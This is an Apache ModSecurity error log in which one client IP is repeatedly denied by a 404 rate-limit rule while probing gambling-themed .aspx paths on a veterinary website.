[Sun Feb 01 07:28:20.268775 2026] [:error] [pid 10508:tid 10554] [client 51.77.43.72:47608] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aX6QFAFwdoMQv5EWp9t92gAAAEo"]
[Sun Feb 01 07:28:20.395159 2026] [:error] [pid 10616:tid 10644] [client 51.77.43.72:47614] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aX6QFGd8pZdmVx6pUp4AywAAANg"]
[Sun Feb 01 07:28:20.517052 2026] [:error] [pid 10508:tid 10565] [client 51.77.43.72:47626] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aX6QFAFwdoMQv5EWp9t93AAAAFU"]
[Sun Feb 01 07:28:22.817849 2026] [:error] [pid 10506:tid 10530] [client 51.77.43.72:47628] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aX6QFq32IC2Db4uwFyO3ZgAAAA4"]
[Sun Feb 01 07:28:22.892064 2026] [:error] [pid 10508:tid 10549] [client 51.77.43.72:47638] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aX6QFgFwdoMQv5EWp9t94gAAAEU"]
[Sun Feb 01 07:28:23.099012 2026] [:error] [pid 2033:tid 2041] [client 51.77.43.72:47656] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aX6QF_F7B4oR5nK3T_Mh3wAAAQY"]
[Sun Feb 01 07:28:23.108840 2026] [:error] [pid 2033:tid 2043] [client 51.77.43.72:47668] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aX6QF_F7B4oR5nK3T_Mh4AAAAQg"]
[Sun Feb 01 07:28:25.472841 2026] [:error] [pid 10509:tid 10587] [client 51.77.43.72:37418] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aX6QGVMNpJBihOJgwVsAfgAAAJA"]
[Sun Feb 01 07:28:25.546760 2026] [:error] [pid 10616:tid 10630] [client 51.77.43.72:37420] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aX6QGWd8pZdmVx6pUp4A1wAAAMo"]
[Sun Feb 01 07:28:25.787161 2026] [:error] [pid 2033:tid 2063] [client 51.77.43.72:37432] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aX6QGfF7B4oR5nK3T_Mh5wAAARY"]
[Sun Feb 01 07:28:25.818530 2026] [:error] [pid 2033:tid 2042] [client 51.77.43.72:37434] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aX6QGfF7B4oR5nK3T_Mh6QAAAQc"]
[Sun Feb 01 07:28:27.995892 2026] [:error] [pid 2033:tid 2050] [client 51.77.43.72:37440] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aX6QG_F7B4oR5nK3T_Mh7wAAAQ8"]
[Sun Feb 01 07:28:28.275806 2026] [:error] [pid 10506:tid 10525] [client 51.77.43.72:37448] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aX6QHK32IC2Db4uwFyO3bQAAAAk"]
[Sun Feb 01 07:28:28.451639 2026] [:error] [pid 10506:tid 10531] [client 51.77.43.72:37454] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aX6QHK32IC2Db4uwFyO3bgAAAA8"]
[Sun Feb 01 07:28:28.569700 2026] [:error] [pid 10506:tid 10520] [client 51.77.43.72:37462] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aX6QHK32IC2Db4uwFyO3bwAAAAQ"]
[Sun Feb 01 07:28:30.724481 2026] [:error] [pid 2033:tid 2038] [client 51.77.43.72:37480] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aX6QHvF7B4oR5nK3T_Mh9gAAAQM"]
[Sun Feb 01 07:28:30.802778 2026] [:error] [pid 10616:tid 10626] [client 51.77.43.72:37494] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aX6QHmd8pZdmVx6pUp4A6gAAAMY"]
[Sun Feb 01 07:28:31.202729 2026] [:error] [pid 10509:tid 10586] [client 51.77.43.72:37498] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aX6QH1MNpJBihOJgwVsAiAAAAI8"]
[Sun Feb 01 07:28:31.242807 2026] [:error] [pid 10509:tid 10577] [client 51.77.43.72:37508] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aX6QH1MNpJBihOJgwVsAiQAAAIY"]
[Sun Feb 01 07:28:33.193007 2026] [:error] [pid 2033:tid 2050] [client 51.77.43.72:37524] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aX6QIfF7B4oR5nK3T_Mh-QAAAQ8"]
[Sun Feb 01 07:28:33.401764 2026] [:error] [pid 2033:tid 2046] [client 51.77.43.72:37534] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aX6QIfF7B4oR5nK3T_Mh-wAAAQs"]
[Sun Feb 01 07:28:33.767911 2026] [:error] [pid 10508:tid 10565] [client 51.77.43.72:37548] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aX6QIQFwdoMQv5EWp9t97AAAAFU"]
[Sun Feb 01 07:28:33.777134 2026] [:error] [pid 2033:tid 2064] [client 51.77.43.72:37540] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aX6QIfF7B4oR5nK3T_Mh_AAAARc"]
[Sun Feb 01 07:28:35.731050 2026] [:error] [pid 10508:tid 10556] [client 51.77.43.72:40500] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aX6QIwFwdoMQv5EWp9t99AAAAEw"]
[Sun Feb 01 07:28:36.127337 2026] [:error] [pid 10509:tid 10583] [client 51.77.43.72:40506] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aX6QJFMNpJBihOJgwVsAkAAAAIw"]
[Sun Feb 01 07:28:36.287037 2026] [:error] [pid 2033:tid 2045] [client 51.77.43.72:40518] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aX6QJPF7B4oR5nK3T_Mh_wAAAQo"]
[Sun Feb 01 07:28:36.486695 2026] [:error] [pid 10508:tid 10549] [client 51.77.43.72:40520] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aX6QJAFwdoMQv5EWp9t99gAAAEU"]
[Sun Feb 01 07:28:38.546957 2026] [:error] [pid 2033:tid 2060] [client 51.77.43.72:40534] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aX6QJvF7B4oR5nK3T_MiCgAAARU"]
[Sun Feb 01 07:28:38.694716 2026] [:error] [pid 2033:tid 2046] [client 51.77.43.72:40550] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aX6QJvF7B4oR5nK3T_MiDAAAAQs"]
[Sun Feb 01 07:28:38.837336 2026] [:error] [pid 2033:tid 2047] [client 51.77.43.72:40556] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aX6QJvF7B4oR5nK3T_MiDQAAAQw"]
[Sun Feb 01 07:28:39.001422 2026] [:error] [pid 10509:tid 10586] [client 51.77.43.72:40572] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aX6QJlMNpJBihOJgwVsAlgAAAI8"]
[Sun Feb 01 07:28:41.106392 2026] [:error] [pid 2033:tid 2052] [client 51.77.43.72:40582] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aX6QKfF7B4oR5nK3T_MiEwAAARE"]
[Sun Feb 01 07:28:41.142410 2026] [:error] [pid 10509:tid 10571] [client 51.77.43.72:40596] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aX6QKVMNpJBihOJgwVsAnwAAAIA"]
[Sun Feb 01 07:28:41.315446 2026] [:error] [pid 10506:tid 10532] [client 51.77.43.72:40612] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aX6QKa32IC2Db4uwFyO3hAAAABA"]
[Sun Feb 01 07:28:41.535818 2026] [:error] [pid 10506:tid 10518] [client 51.77.43.72:40628] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aX6QKa32IC2Db4uwFyO3hgAAAAI"]
[Sun Feb 01 07:28:43.600095 2026] [:error] [pid 10616:tid 10641] [client 51.77.43.72:40636] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aX6QK2d8pZdmVx6pUp4A_wAAANU"]
[Sun Feb 01 07:28:43.756923 2026] [:error] [pid 10506:tid 10530] [client 51.77.43.72:40652] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aX6QK632IC2Db4uwFyO3jAAAAA4"]
[Sun Feb 01 07:28:44.054256 2026] [:error] [pid 10506:tid 10533] [client 51.77.43.72:40658] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aX6QLK32IC2Db4uwFyO3jQAAABE"]
[Sun Feb 01 07:28:44.245274 2026] [:error] [pid 10509:tid 10577] [client 51.77.43.72:40670] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aX6QLFMNpJBihOJgwVsAqwAAAIY"]
[Sun Feb 01 07:28:46.052970 2026] [:error] [pid 2033:tid 2041] [client 51.77.43.72:57708] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aX6QLvF7B4oR5nK3T_MiHgAAAQY"]
[Sun Feb 01 07:28:46.468254 2026] [:error] [pid 10506:tid 10536] [client 51.77.43.72:57720] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aX6QLq32IC2Db4uwFyO3kQAAABQ"]
[Sun Feb 01 07:28:46.753133 2026] [:error] [pid 10506:tid 10540] [client 51.77.43.72:57736] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aX6QLq32IC2Db4uwFyO3kgAAABg"]
[Sun Feb 01 07:28:46.763613 2026] [:error] [pid 10616:tid 10631] [client 51.77.43.72:57730] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aX6QLmd8pZdmVx6pUp4BBgAAAMs"]
[Sun Feb 01 07:28:48.685631 2026] [:error] [pid 2033:tid 2040] [client 51.77.43.72:57742] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aX6QMPF7B4oR5nK3T_MiIgAAAQU"]
[Sun Feb 01 07:28:49.117253 2026] [:error] [pid 10506:tid 10537] [client 51.77.43.72:57754] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aX6QMa32IC2Db4uwFyO3lAAAABU"]
[Sun Feb 01 07:28:49.281425 2026] [:error] [pid 10506:tid 10519] [client 51.77.43.72:57760] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aX6QMa32IC2Db4uwFyO3lQAAAAM"]
[Sun Feb 01 07:28:49.443282 2026] [:error] [pid 2033:tid 2035] [client 51.77.43.72:57772] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aX6QMfF7B4oR5nK3T_MiJAAAAQA"]
[Sun Feb 01 07:28:51.341341 2026] [:error] [pid 10506:tid 10527] [client 51.77.43.72:57782] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aX6QM632IC2Db4uwFyO3mAAAAAs"]
[Sun Feb 01 07:28:51.617418 2026] [:error] [pid 2033:tid 2046] [client 51.77.43.72:57794] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aX6QM_F7B4oR5nK3T_MiMAAAAQs"]
[Sun Feb 01 07:28:51.947411 2026] [:error] [pid 10509:tid 10594] [client 51.77.43.72:57810] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aX6QM1MNpJBihOJgwVsAsgAAAJc"]
[Sun Feb 01 07:28:51.993716 2026] [:error] [pid 10506:tid 10533] [client 51.77.43.72:57822] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aX6QM632IC2Db4uwFyO3mgAAABE"]
[Sun Feb 01 07:28:53.969806 2026] [:error] [pid 2033:tid 2064] [client 51.77.43.72:57824] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aX6QNfF7B4oR5nK3T_MiNgAAARc"]
[Sun Feb 01 07:28:54.316119 2026] [:error] [pid 10616:tid 10625] [client 51.77.43.72:57836] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aX6QNmd8pZdmVx6pUp4BGgAAAMU"]
[Sun Feb 01 07:28:54.560993 2026] [:error] [pid 10506:tid 10518] [client 51.77.43.72:57842] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aX6QNq32IC2Db4uwFyO3oQAAAAI"]
[Sun Feb 01 07:28:54.719726 2026] [:error] [pid 10616:tid 10637] [client 51.77.43.72:57856] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aX6QNmd8pZdmVx6pUp4BHAAAANE"]
